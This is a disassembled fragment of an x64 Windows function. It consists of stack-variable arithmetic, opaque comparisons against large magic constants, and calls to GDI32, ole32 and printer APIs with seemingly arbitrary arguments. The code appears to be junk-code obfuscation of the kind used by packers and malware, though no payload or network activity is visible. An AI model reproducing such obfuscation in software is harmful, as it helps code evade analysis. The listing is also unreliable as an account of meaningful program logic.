movsx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x96e8], ax
mov eax, dword [rsp + 0x1a50]
mov dword [rsp + 0xbac4], eax
cmp dword [rsp + 0xbac4], 0
je 0x140043ae1
cmp dword [rsp + 0xbac4], 0x73cbf89e
je 0x1400b48b6
jmp 0x1400b49bc
mov rax, qword [rsp + 0xfb8]
movsx edi, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
and edi, eax
movsx edx, word [rsp + 0x96e8]
movsx eax, word [rsp + 0x4274]
movzx ecx, al
mov eax, edx
sar eax, cl
cmp edi, eax
jle 0x140043b65
mov rcx, qword [rsp + 0x6f58]
mov rax, qword [rsp + 0x9b18]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x9a10]
mov qword [rax], rcx
mov r9d, 0xae
lea r8, [rsp + 0x4c78]
lea rdx, [rsp + 0xb208]
mov rcx, qword [rsp + 0x2f70]
call qword [sym.imp.GDI32.dll_GetPath]
mov dword [rsp + 0xb360], eax
jmp 0x140043d73
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
movzx ecx, al
mov rdx, qword [rsp + 0x4c78]
shl rdx, cl
mov rcx, qword [rsp + 0x40d8]
mov rax, qword [rsp + 0xa318]
xor rax, rcx
cmp rdx, rax
jne 0x140043d73
movzx eax, word [rsp + 0x15c4]
mov dword [rsp + 0xbac8], eax
cmp dword [rsp + 0xbac8], 0
je 0x140043bc9
cmp dword [rsp + 0xbac8], 0x3bf
je 0x140043cfc
jmp 0x140043d73
mov rdx, qword [rsp + 0x9c28]
mov rdx, qword [rdx]
mov rax, qword [rsp + 0x6930]
add rdx, qword [rax]
mov rax, qword [rsp + 0x9a10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8370]
add rax, qword [rcx]
cmp rdx, rax
jl 0x140043cdd
mov rax, qword [rsp + 0xb750]
mov rax, qword [rax]
mov qword [rsp + 0xbad0], rax
cmp qword [rsp + 0xbad0], 0
je 0x140043c39
movabs rax, 0x991df14ee821b657
cmp qword [rsp + 0xbad0], rax
je 0x140043cb4
jmp 0x140043cd0
mov rax, qword [rsp + 0x6f58]
mov rax, qword [rax]
mov qword [rsp + 0xbad8], rax
movabs rax, 0x6a92777cfc4a348c
cmp qword [rsp + 0xbad8], rax
je 0x140043c62
jmp 0x140043cb2
mov rcx, qword [rsp + 0xa318]
mov rax, qword [rsp + 0x4628]
add rax, rcx
mov qword [rsp + 0x40d8], rax
mov rcx, qword [rsp + 0xb750]
mov rax, qword [rsp + 0x3758]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [0x1400f7fe8]
mov qword [rax], rcx
lea rcx, [rsp + 0x8eb8]
call qword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [rsp + 0x2018], eax
jmp 0x140043cd0
movzx ecx, byte [rsp + 0x2348]
movzx eax, byte [rsp + 0x9cc1]
sub ecx, eax
mov rax, qword [rsp + 0x5cc0]
mov byte [rax], cl
mov dword [rsp + 0x388], 0xa1ea
jmp 0x140043cfa
mov rax, qword [rsp + 0x13c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa88]
add eax, ecx
mov word [rsp + 0x96e8], ax
jmp 0x140043d73
lea r8, [rsp + 0x8370]
mov edx, 0x89
mov rcx, qword [rsp + 0x51e0]
call qword [sym.imp.GDI32.dll_GetObjectW]
mov dword [rsp + 0x56a0], eax
mov rax, qword [rsp + 0x2740]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x8d0]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x4980]
mov byte [rax], cl
movsx eax, byte [str.__._v]
movsx ecx, byte [rsp + 0x9130]
add eax, ecx
mov byte [rsp + 0x2858], al
lea rdx, [rsp + 0x4c78]
mov ecx, 0xa5
call qword [sym.imp.GDI32.dll_SetMetaFileBitsEx]
mov qword [rsp + 0x1e38], rax
mov rax, qword [rsp + 0x4628]
mov qword [rsp + 0xbae0], rax
cmp qword [rsp + 0xbae0], 0
je 0x140043dab
movabs rax, 0x7823fe64590bf679
cmp qword [rsp + 0xbae0], rax
je 0x140043ff7
jmp 0x1400440fe
mov rax, qword [rsp + 0x6930]
mov rax, qword [rax]
mov rdx, qword [rsp + 0x5298]
sub rdx, rax
mov rax, qword [rsp + 0x9c28]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6e48]
shl rax, cl
cmp rdx, rax
jge 0x140043ee6
mov rax, qword [rsp + 0xa650]
mov al, byte [rax]
mov byte [rsp + 0xbae8], al
cmp byte [rsp + 0xbae8], 0x1c
je 0x140043ea3
cmp byte [rsp + 0xbae8], 0xe7
je 0x140043e11
jmp 0x140043ee1
mov rcx, qword [rsp + 0x1238]
mov eax, dword [rsp + 0x60e0]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x1238]
mov dword [rax], ecx
mov rcx, qword [0x1400f62c8]
mov rax, qword [rsp + 0x3758]
and rax, rcx
mov qword [rsp + 0x4628], rax
mov rcx, qword [rsp + 0x4258]
mov eax, dword [rsp + 0x6804]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x2f8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x40d8]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x9560]
movzx r9d, byte [rax]
mov r8d, dword [rsp + 0xca8]
mov rax, qword [rsp + 0x7350]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x690]
mov rcx, qword [rcx]
call fcn.1400b5a80
jmp 0x140043ee1
mov edx, 0xcf
mov rcx, qword [rsp + 0x7d98]
call qword [sym.imp.GDI32.dll_SelectClipPath]
mov dword [rsp + 0x9860], eax
mov rcx, qword [rsp + 0x9a10]
mov rax, qword [rsp + 0x9c28]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x6930]
mov qword [rax], rcx
jmp 0x140043ff2
mov rax, qword [rsp + 0x6930]
mov rax, qword [rax]
movzx ecx, al
mov rdx, qword [rsp + 0x9b18]
sar rdx, cl
mov rax, qword [rsp + 0x8370]
mov rcx, qword [rsp + 0x6e48]
mov rax, qword [rax]
or rax, rcx
cmp rdx, rax
jg 0x140043ff2
mov al, byte [rsp + 0xa150]
mov byte [rsp + 0xbaec], al
cmp byte [rsp + 0xbaec], 0x32
je 0x140043f49
cmp byte [rsp + 0xbaec], 0x73
je 0x140043fc7
jmp 0x140043fe7
mov rcx, qword [rsp + 0x690]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x40d8]
and rax, rcx
mov qword [0x1400f62c8], rax
mov rax, qword [rsp + 0x4980]
movzx ecx, byte [rax]
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0xa650]
mov byte [rax], cl
mov rax, qword [rsp + 0x89a8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x7350]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x6958], al
lea rdx, [rsp + 0x8eb8]
lea rcx, [rsp + 0x51e0]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0x77bc], eax
jmp 0x140043fe7
mov rax, qword [rsp + 0x69c8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x5218]
add ecx, eax
mov rax, qword [rsp + 0x69c8]
mov word [rax], cx
mov dword [rsp + 0x5968], 0x5986
jmp 0x1400440fe
mov rcx, qword [rsp + 0xa18]
call qword [sym.imp.GDI32.dll_PathToRegion]
mov qword [rsp + 0xb138], rax
movzx eax, word [0x1400f62e4]
movzx ecx, word [rsp + 0xa8b0]
add eax, ecx
mov word [rsp + 0x15c4], ax
mov rax, qword [rsp + 0x1a10]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x46cc]
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
movzx edx, byte [0x1400f758a]
mov rax, qword [rsp + 0x2740]
movzx eax, byte [rax]
movzx ecx, al
sar edx, cl
mov rax, qword [rsp + 0x5c90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9cc1]
xor eax, ecx
cmp edx, eax
jl 0x1400440fe
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
mov qword [rsp + 0xbaf0], rax
movabs rax, 0x6f98847eaab7c60b
cmp qword [rsp + 0xbaf0], rax
je 0x1400440de
movabs rax, 0x790ee9226c9c173a
cmp qword [rsp + 0xbaf0], rax
je 0x1400440b2
jmp 0x1400440fe
lea r8, [rsp + 0x9c28]
lea rdx, [rsp + 0xb8a0]
lea rcx, [rsp + 0x690]
call qword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [rsp + 0x288], eax
call fcn.1400b5160
jmp 0x1400440fe
mov rax, qword [rsp + 0x8370]
mov rax, qword [rax]
mov rcx, qword [0x1400f62d0]
or rcx, rax
mov rax, qword [rsp + 0x6f58]
mov qword [rax], rcx
lea rax, [rsp + 0xa318]
mov qword [rsp + 0x9b68], rax
mov rax, qword [rsp + 0xb690]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x2f8]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x4258]
mov dword [rax], ecx
cmp dword [rsp + 0xac34], 0x8aaf
ja 0x140044525
movzx ecx, byte [0x1400f758a]
movzx eax, byte [rsp + 0x9cc1]
and ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
movsx ecx, byte [rsp + 0x9788]
mov rax, qword [rsp + 0x89a8]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
movzx ecx, word [rsp + 0x5218]
movzx eax, word [0x1400f62e4]
sub ecx, eax
mov rax, qword [rsp + 0x69c8]
mov word [rax], cx
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x8ba0]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1130]
mov word [rax], cx
movsx ecx, word [rsp + 0x96e8]
mov rax, qword [rsp + 0x4c58]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov rax, qword [rsp + 0x5298]
mov rcx, qword [rsp + 0x6e48]
and rcx, rax
mov rax, qword [rsp + 0x9a10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x4c78]
mov rcx, qword [rsp + 0xa318]
add rcx, rax
mov rax, qword [rsp + 0x690]
mov qword [rax], rcx
mov eax, dword [rsp + 0x30e0]
mov ecx, dword [0x1400f62d8]
sub ecx, eax
mov rax, qword [rsp + 0xb2c0]
mov dword [rax], ecx
mov rax, qword [rsp + 0xb690]
mov eax, dword [rax]
mov dword [rsp + 0x50a4], eax
mov rax, qword [rsp + 0x2740]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x8d0]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0xa318]
mov rcx, qword [0x1400f62c8]
add rcx, rax
mov rax, qword [0x1400f7fe8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x9bd0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0xa8b0]
or ecx, eax
mov rax, qword [rsp + 0x69c8]
mov word [rax], cx
mov rax, qword [rsp + 0xb208]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x1140]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
mov rax, qword [rsp + 0xfb8]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x96e8]
xor ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
mov rax, qword [rsp + 0x1238]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [0x1400f7fe8]
mov rax, qword [rsp + 0xa318]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x9b68]
mov qword [rax], rcx
mov rax, qword [rsp + 0xb690]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x4258]
add ecx, dword [rax]
mov rax, qword [rsp + 0x2f8]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x6930]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x6e48]
mov rax, qword [rsp + 0x9c28]
mov qword [rax], rcx
mov rax, qword [rsp + 0x7350]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x9560]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x1140], al
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x2348]
add ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
movzx edx, word [rsp + 0x5218]
mov rax, qword [rsp + 0x91d0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x15c4], ax
movzx eax, byte [rsp + 0x2348]
movzx ecx, byte [0x1400f758a]
and eax, ecx
mov byte [rsp + 0x9cc1], al
mov rax, qword [rsp + 0x9bd0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0xa8b0]
sub ecx, eax
mov rax, qword [rsp + 0xacd8]
mov word [rax], cx
mov rax, qword [rsp + 0x4258]
mov ecx, dword [rsp + 0x56a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50a4], eax
mov eax, dword [rsp + 0x30e0]
mov dword [rsp + 0xca8], eax
mov rcx, qword [rsp + 0x8370]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x6e48]
mov rax, qword [rsp + 0x6f58]
mov qword [rax], rcx
mov eax, dword [rsp + 0xac34]
add eax, 0x26
mov dword [rsp + 0xac34], eax
mov rcx, qword [rsp + 0xa318]
mov rax, qword [rsp + 0x4c78]
xor rax, rcx
mov qword [rsp + 0x40d8], rax
movsx edx, word [rsp + 0xa88]
mov rax, qword [rsp + 0x4c58]
movsx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x9b68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4628]
shr rax, cl
mov rcx, rax
mov rax, qword [0x1400f7fe8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x13c0]
movsx edx, word [rax]
movsx eax, word [rsp + 0xa88]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x96e8], ax
mov rax, qword [rsp + 0x9560]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x2858]
and ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
movzx edx, byte [rsp + 0x2348]
mov rax, qword [rsp + 0x4980]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x9cc1], al
mov ecx, dword [rsp + 0xb360]
mov eax, dword [rsp + 0x50a4]
sub eax, ecx
mov dword [rsp + 0x4af4], eax
jmp 0x140044130
cmp dword [rsp + 0xb638], 0x47f3
jbe 0x140044763
mov rax, qword [0x1400f7548]
movsx edx, byte [rax]
mov rax, qword [rsp + 0xb208]
movsx eax, byte [rax]
and edx, eax
mov rax, qword [rsp + 0x7350]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa150]
add eax, ecx
cmp edx, eax
jge 0x1400b490b
mov rax, qword [rsp + 0x7240]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x69c8]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x9bd0]
mov word [rax], cx
jmp 0x1400b495a
mov rax, qword [rsp + 0xfb8]
movsx edx, word [rax]
movsx eax, word [rsp + 0xa88]
sub edx, eax
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4274]
add eax, ecx
cmp edx, eax
jle 0x1400b495a
mov rax, qword [rsp + 0xb208]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x7350]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2858], al
mov rax, qword [rsp + 0x4258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6804]
sub ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1238]
mov ecx, dword [rsp + 0xca8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x60e0], eax
mov r9d, 0xb7
lea r8, [rsp + 0x6e98]
lea rdx, [rsp + 0x8370]
mov rcx, qword [rsp + 0x3d48]
call qword [sym.imp.GDI32.dll_PolyPolyline]
mov dword [rsp + 0x8d84], eax
mov rax, qword [rsp + 0x690]
mov rax, qword [rax]
mov qword [rsp + 0xbed8], rax
movabs rax, 0x5150ac29196672b6
cmp qword [rsp + 0xbed8], rax
je 0x1400b49e5
jmp 0x1400b4a30
movzx ecx, byte [rsp + 0x2348]
mov rax, qword [rsp + 0xa650]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x5c90]
mov byte [rax], cl
mov r9d, dword [rsp + 0xb360]
movzx r8d, byte [rsp + 0xa150]
mov rax, qword [rsp + 0xb690]
mov edx, dword [rax]
mov rax, qword [rsp + 0x28f8]
mov ecx, dword [rax]
call fcn.1400b5380
jmp 0x1400b4a53
mov r8d, 0x6d
lea rdx, [rsp + 0x1c08]
lea rcx, [rsp + 0x1190]
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [rsp + 0x6804], eax
jmp 0x1400b4b2e
mov rax, qword [rsp + 0x5298]
mov rcx, qword [rsp + 0x6e48]
add rcx, rax
mov rax, qword [rsp + 0x6f58]
mov qword [rax], rcx
mov eax, dword [rsp + 0x4af4]
mov dword [rsp + 0xbee0], eax
cmp dword [rsp + 0xbee0], 0x692c4b34
je 0x1400b4a93
jmp 0x1400b4b11
mov rax, qword [0x1400f7fe8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4c78]
shr rax, cl
mov qword [rsp + 0x3758], rax
lea rcx, [rsp + 0x9130]
call qword [sym.imp.ole32.dll_CoIsHandlerConnected]
mov dword [rsp + 0x58d4], eax
mov rcx, qword [rsp + 0xb690]
mov rax, qword [rsp + 0x2f8]
mov eax, dword [rax]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x4258]
mov dword [rax], ecx
mov r9, qword [rsp + 0x40d8]
mov r8, qword [rsp + 0x9a10]
mov r8, qword [r8]
mov rdx, qword [0x1400f62d0]
mov rcx, qword [rsp + 0x6e48]
call fcn.1400b5010
jmp 0x1400b4b2e
movsx edx, byte [rsp + 0x2858]
movsx eax, byte [rsp + 0xa150]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [str.__._v], al
mov rcx, qword [rsp + 0x3d48]
call qword [sym.imp.GDI32.dll_FlattenPath]
mov dword [rsp + 0x7b50], eax
movzx eax, word [rsp + 0x5218]
movzx ecx, word [rsp + 0xa8b0]
add eax, ecx
mov word [rsp + 0x15c4], ax
mov eax, dword [rsp + 0x6804]
mov dword [rsp + 0xbee4], eax
cmp dword [rsp + 0xbee4], 0x4d7af00
je 0x1400b4b7a
jmp 0x1400b4b7c
jmp 0x1400b4b9f
mov rcx, qword [rsp + 0x6930]
mov rax, qword [rsp + 0x9a10]
mov rax, qword [rax]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x40d8]
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
shr rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x97f0]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x8520]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x7b50], eax
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
mov dword [rsp + 0x1a50], eax
mov rcx, qword [rsp + 0xb690]
mov eax, dword [rsp + 0x56a0]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x4258]
mov dword [rax], ecx
movsx ecx, byte [rsp + 0x6958]
mov rax, qword [rsp + 0x7350]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x9560]
mov byte [rax], cl
mov rax, qword [rsp + 0x91d0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0xa8b0]
sub ecx, eax
mov rax, qword [rsp + 0xacd8]
mov word [rax], cx
mov rax, qword [rsp + 0x4c78]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x9560]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x1a10]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x89a8]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x40d8]
call fcn.1400b5a80
mov r8d, 0x7c
mov rdx, qword [rsp + 0x6470]
mov rcx, qword [rsp + 0x2f70]
call qword [sym.imp.GDI32.dll_GetRandomRgn]
mov dword [rsp + 0x4af4], eax
mov dl, 0x66
movzx ecx, word [rsp + 0x4274]
call fcn.1400b55e0
jmp 0x1400b4d79
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movabs rcx, 0x4565b5e62b64c83e
mov rax, qword [0x1400f62d0]
or rax, rcx
mov qword [rsp + 0x6e48], rax
call fcn.1400b5160
jmp 0x1400b4db7
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [0x1400f62c8]
mov rax, qword [rsp + 0x40d8]
add rax, rcx
mov qword [rsp + 0x4c78], rax
mov ecx, dword [rsp + 0x4af4]
mov eax, dword [rsp + 0xee0]
add eax, ecx
mov dword [rsp + 0xb360], eax
mov rax, qword [rsp + 0x40d8]
mov qword [rsp + 0xbee8], rax
movabs rax, 0x265c09628d698558
cmp qword [rsp + 0xbee8], rax
je 0x1400b4df4
jmp 0x1400b4e0e
mov edx, reloc.COMCTL32.dll_DrawInsert
mov rcx, qword [rsp + 0x2f70]
call qword [sym.imp.GDI32.dll_SelectClipPath]
mov dword [rsp + 0x1d80], eax
mov eax, dword [0x1400f7e28]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
call fcn.1400b5160
jmp 0x1400b4e6e
mov r9d, 0xee
mov r8, qword [rsp + 0x10e0]
mov rdx, qword [rsp + 0xadc8]
mov rcx, qword [rsp + 0x5b18]
call qword [sym.imp.GDI32.dll_CombineRgn]
mov dword [rsp + 0xee0], eax
movsx eax, word [rsp + 0x4274]
add eax, 0x324a
mov word [rsp + 0x4274], ax
movzx eax, word [rsp + 0x15c4]
sub eax, 0x5bb
mov word [rsp + 0xa8b0], ax
movsx eax, word [rsp + 0x4274]
mov dword [rsp + 0xbef0], eax
cmp dword [rsp + 0xbef0], 0x1ae6
je 0x1400b4eae
cmp dword [rsp + 0xbef0], 0x1fea
je 0x1400b4eca
jmp 0x1400b4edf
mov rcx, qword [rsp + 0xa18]
call qword [sym.imp.GDI32.dll_GetLayout]
mov dword [rsp + 0x99c0], eax
call fcn.1400b5160
jmp 0x1400b4edf
movzx eax, word [rsp + 0x15c4]
add eax, 0xb6e
mov word [rsp + 0xa8b0], ax
xor r8d, r8d
lea rdx, [rsp + 0x1dfc]
lea rcx, [rsp + 0xb030]
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [rsp + 0xb360], eax
call fcn.1400b5160
jmp 0x1400b4fd5
lea rax, [rsp + 0x77f0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xc4
lea r9, [rsp + 0x77f0]
mov r8d, 0xbf
lea rdx, [rsp + 0x4e50]
lea rcx, [rsp + 0x77f0]
call qword [sym.imp.ole32.dll_CoGetStandardMarshal]
mov dword [rsp + 0x4e50], eax
mov rax, qword [0x1400f62c8]
mov qword [rsp + 0xbef8], rax
movabs rax, 0x706b93e7630b79ec
cmp qword [rsp + 0xbef8], rax
je 0x1400b4f70
jmp 0x1400b4f8b
movabs rcx, 0x9b53cd25fe4ba264
mov rax, qword [0x1400f62c8]
and rax, rcx
mov qword [0x1400f62c8], rax
movabs rax, 0x5d4a235c7790977d
cmp qword [0x1400f62c8], rax
ja 0x1400b4fd5
movabs rcx, 0x7f80db0fcf34616
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [0x1400f62c8], rax
mov r9, qword [0x1400f62c8]
mov r8d, 0x87
mov edx, 0xdf
mov ecx, 0xf6
call fcn.1400b5010
mov r9, qword [0x1400f62c8]
mov r8d, 0x96
mov edx, 0xda
mov ecx, 0x8d
call fcn.1400b5010
mov eax, dword [rsp + 0x3008]
add rsp, 0xbf08
pop rdi
pop rsi
ret